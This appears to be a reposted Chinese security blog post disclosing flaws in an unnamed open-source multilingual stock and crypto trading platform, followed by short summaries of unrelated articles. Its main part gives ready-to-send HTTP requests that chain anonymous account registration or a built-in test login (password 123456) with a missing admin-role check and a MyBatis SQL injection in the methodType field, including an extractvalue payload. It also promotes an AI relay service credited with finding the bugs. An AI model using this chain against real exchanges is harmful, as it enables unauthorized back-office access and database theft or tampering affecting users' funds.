某34国语言综合GP交易所存在前台SQL注入漏洞(Java)"

admin 2026-10-20 12:18:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

某34国语言综合GP交易所存在前台SQL注入漏洞 (Java)

原创

XingYue404
XingYue404

星悦安全

2026年6月28日 18:54
浙江

在小说阅读器读本章

去阅读

点击上方蓝字关注我们 并设为星标

0x00 前言

漏洞完全由AI分析,无特殊提示词 Skill,同款见文末.

34国语言综合股票交易所开源源码 为一套功能完整的综合性在线交易系统,公开资料提及支持加密货币现货/合约/期权、外汇、全球股票、ETF、大宗商品、跟单、C2C、NFT、理财借贷等数十个业务模块,

技术栈 : Java Spring Boot 2.7 + Vue3/Vue2 + MySQL + Redis

Fofa指纹(后端) : 自己找

0x01 前台垂直越权漏洞

全局过滤器AuthFilter.doFilter(/trad-admin/trading-order-security-common/src/main/java/com/yami/trading/security/common/filter:156-237)只校验 token 是否有效(tokenStore.getUserInfoByAccessToken),解析成功后仅AuthUserContext.set(userInfoInToken)即放行,从不判断 token 的sysType(ADMIN / ORDINARY)能否访问当前控制器

if (StrUtil.isNotBlank(accessToken)) {
    try {
        userInfoInToken = tokenStore.getUserInfoByAccessToken(accessToken, true);
        if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ORDINARY.value().intValue()) {
            String userId = userInfoInToken.getUserId();
            // 缓存优化 TODO
            User userEntity = userService.cacheUserBy(userId);
            if (userEntity != null) {
                userCode = userEntity.getUserCode();
            }
        }
    } catch (Exception e) {
        if (e instanceof YamiShopBindException) {
            logger.error(\"---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报 YamiShopBindException 异常:{}\", requestUri, accessToken, e.getMessage());
            tokenErr = (YamiShopBindException)e;
        } else {
            logger.error(\"---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报错:\", requestUri, accessToken, e);
            throw e;
        }
    }
}
// 处理黑名单访问,断网逻辑
if (checkBlackRequest(req, resp, clientIp, userCode)) {
    return;
}

try {
    // 识别时区信息
    processTimezone(req);

    // 白名单
    if (servletPathWhiteUri) {
        chain.doFilter(req, resp);
        return;
    }

    //
    if (ObjectUtils.isNotEmpty(VERSION_NUMBER)) {
        // 验证时间戳签名
        if (checkSign(req,response)) {
            return;
        }
    }

    // 当前 uri 不用检查是否携带 token,直接执行对应的接口
    if (ignoreTokenUri) {
        chain.doFilter(req, resp);
        return;
    }

    // 有 token 就用,没 token 也无所谓的 api
    if (userInfoInToken != null) {
        // 如果有 token,并且解析成功,则走以下处理逻辑
        // 已移除IP检查逻辑,不再进行IP地址验证
        // if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ADMIN.value().intValue()) {
        //     if (!pathMatcher.match(\"/updateCheckIp\", requestUri)) {
        //         Object loginIP = RedisUtil.get(RedisKeys.ACCESS_IP + userInfoInToken.getUserId());
        //         if (null != loginIP && !IPHelper.equalIpSegment(loginIP.toString(), clientIp)) {
        //             logger.error(\"The Login IP Is Inconsistent With The Operation IP! Login-IP:{} Access-IP:{} Servlet-Path:{}\", loginIP, clientIp, servletPath);
        //             httpHandler.printServerResponseToWeb(\"\", 1001);
        //             return;
        //         }
        //     }
        // }

        // 保存上下文
        AuthUserContext.set(userInfoInToken);
    } elseif (!optionalTokenUri) {
        // token 必填的路径
        // 如果没有 token,或者 token 解析失败/过期,但是当前请求 uri 又不是一个可选 token 的uri,则报错,提示 token 无效
        // 返回前端401
                logger.error(\"---> requestUri:{} 未配置 optional 白名单\", requestUri);
                httpHandler.printServerResponseToWeb(\"您的账号已过期或已经在其他地方登录,请重新登录\", 403);
                return;
            }
            if (tokenErr != null) {
                // 前面解析 token 报错,此处抛出
                throw tokenErr;
            }

            // token 逻辑校验顺利
            chain.doFilter(req, resp);

授权完全依赖各方法上的@PreAuthorize(@EnableGlobalMethodSecurity)。经统计@PreAuthorize仅出现在 5 个sys/*控制器(共 21 处),其余约 150 个资金类后台控制器没有任何方法级授权。

SecurityUtils.getSysUser()(SecurityUtils.java:14-31)对 ORDINARY 与 ADMIN token 一视同仁返回非空对象,不区分来源。

public YamiSysUser getSysUser() {
    UserInfoInTokenBO userInfoInTokenBO = AuthUserContext.get();
    if(userInfoInTokenBO == null){
        returnnull;
    }
    YamiSysUser details = new YamiSysUser();
    String userId = userInfoInTokenBO.getUserId();
    // 兼容swagger 请求情况
    if(StringUtils.isEmpty(userId)){
        returnnull;
    }
    details.setUserId(Long.valueOf(userId));
    details.setEnabled(userInfoInTokenBO.getEnabled());
    details.setUsername(userInfoInTokenBO.getNickName());
    details.setAuthorities(userInfoInTokenBO.getPerms());
    details.setShopId(userInfoInTokenBO.getShopId());
    return details;
}

而token 可经白名单内的匿名注册接口/api/registerNoVerifcode、/api/user/register(验证码校验被注释)零成本批量获取.

Payload(匿名创建用户获取Token):

POST /api/registerNoVerifcode HTTP/2
Host: 127.0.0.1
Content-Length: 54
Cache-Control: max-age=0
Sec-Ch-Ua: \"Google Chrome\";v=\"149\", \"Chromium\";v=\"149\", \"Not)A;Brand\";v=\"24\"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: \"Windows\"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close

userName=deep666&password=Passw0rd666&userCode=&type=3

如果系统没有 /api/registerNoVerifcode 这个接口,还能通过 /api/user/login 接口登入一些系统内置测试账户来获取到 Token,如下 GET 访问

/api/user/login?language=en&username=ceshi2&password=123456

而获取到 Token 之后,我们就直接能操纵后台的一些接口了,权限成功提升不少,很多操作都可以用了,这里不多说.

0x02 前台SQL注入漏洞

sinkC2cPaymentMethodMapper.xml:26

链路C2cPaymentMethodController.java:96→C2cPaymentMethodServiceImpl.java:42-44→C2cPaymentMethodMapper.java:12-16

C2cPaymentMethodMapper.xml

<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">
<mapper namespace=\"com.yami.trading.dao.c2c.C2cPaymentMethodMapper\">

    <select id=\"listPage\" resultType=\"com.yami.trading.bean.c2c.dto.C2cPaymentMethodDto\">
        select
        cpm.*,
        party.user_id ,
        party.user_code ,
        party.user_name
        from
        t_c2c_payment_method cpm
        left join tz_user party on cpm.party_id = party.user_id
        left join t_c2c_user cu on cu.c2c_user_party_id = party.user_id
        where
        1 = 1  and cpm.type=#{type}
          <if test=\"loginPartyId!=null and loginPartyId!=''\">
            and cu.c2c_manager_party_id=#{loginPartyId}
        </if>
        <if test=\"userCode!=null and userCode!=''\">
            AND (party.user_name like CONCAT('%', #{userCode}, '%') or party.user_code like CONCAT('%', #{userCode},
            '%'))
        </if>

        <if test=\"methodType!=null and methodType!=''\">
            and cpm.method_type =${methodType}
        </if>
        <if test=\"methodName!=null and methodName!=''\">
            and cpm.method_name like CONCAT('%', #{methodName}, '%')
        </if>
        order by cpm.create_time desc
    </select>
</mapper>

c2cpaymentmethodcontroller.java

adminC2cPaymentMethodService.listPage(page, \"\", model.getUserName(), model.getMethodType(), model.getMethodName(),model.getType());

C2cPaymentMethodServiceImpl.java

public Page<C2cPaymentMethodDto> listPage(Page page, String loginPartyId, String userCode, String methodType, String methodName,
                                          int type) {
    return baseMapper.listPage(page,loginPartyId,userCode,methodType,methodName,type);
}

C2cPaymentMethodMapper.java

Page<C2cPaymentMethodDto> listPage(Page page, @Param(\"loginPartyId\") String loginPartyId,
                                   @Param(\"userCode\") String userCode,
                                   @Param(\"methodType\") String methodType,
                                   @Param(\"methodName\") String methodName,
                                   @Param(\"type\")  int type);
}

由于methodType(String,无白名单/数值校验)经${}直接拼入 SQL,列method_type为整型(无引号数值上下文)。全环境 JDBC URL 含allowMultiQueries=true,堆叠写库可行。其余参数用#{}(安全)

注意这里我们就可以用 0x01 前台垂直越权漏洞可创建的账户来进行授权

Payload (获取数据库用户):

POST /api/paymentMethod/list HTTP/2
Host: 127.0.0.1
Content-Length: 159
Cache-Control: max-age=0
Sec-Ch-Ua: \"Google Chrome\";v=\"149\", \"Chromium\";v=\"149\", \"Not)A;Brand\";v=\"24\"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: \"Windows\"
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 你获取到的前台用户Token
Sec-Fetch-User: ?1
Priority: u=0, i

{
  \"size\": 5,
  \"current\": 1,
  \"type\": 1,
  \"methodName\": \"\",
  \"userName\": \"\",
 \"methodType\":\"1 AND extractvalue(1,concat(0x7e,(SELECT user())))\"
}

这里SQL注入有挺多不错的可操作点,就不过多演示了.

0x03 AI 漏洞挖掘

*标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所*

**本漏洞完全由星悦AI中转提供的Claude Opus 4.8 挖掘分析.****

https://www.xyusec.com/

新用户还可以添加下方客服进群领5$额度

**免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


黑客Mosad持续泄露南非陆军与沙特国防部机密敏感文件事件" 网络安全文章

黑客Mosad持续泄露南非陆军与沙特国防部机密敏感文件事件"

文档披露2026年6月黑客Mosad泄露南非陆军受限军事文件与沙特国防部3.6GB机密数据的事件。南非文件包含部队动员指令、指挥链及军官联系方式等军事情报;沙特泄露涉及内部会议记录及WhatsApp通讯内容。事件被评估为战略级信息泄露,可能被国家级APT组织利用,建议通过威胁情报平台监控此类安全风险。
MicrosoftDefender现监控黑客滥用RPC协议" 网络安全文章

MicrosoftDefender现监控黑客滥用RPC协议"

MicrosoftDefender扩展了对RPC协议的监控能力,通过集成Windows过滤平台实现OpNum级别细粒度检测,可识别被调用的具体RPC函数而非仅接口,重点监控进站远程RPC调用。新增检测包括Impacket攻击、可疑服务创建、LSA秘密盗窃、RPC枚举异常及认证胁迫等,支持通过高级狩猎查询RPC遥测数据,提升横向移动、凭据盗窃等攻击的可见性。
「Agent本质是一个死循环」:一句话告诉你什么是Agent" 网络安全文章

「Agent本质是一个死循环」:一句话告诉你什么是Agent"

本文以函数和死循环类比解释Agent的本质,指出大语言模型(LLM)是输入输出函数,而Agent是永不退出的while循环,通过不断累积上下文实现持续交互。关键点包括:上下文数组存储历史交互记录,Harness定义循环中的工具、技能和连接配置,不同Harness形成不同Agent应用。作者通过56行MiniClaudeCode示例说明实现原理,并预告后续技术分析。
评论:0   参与:  0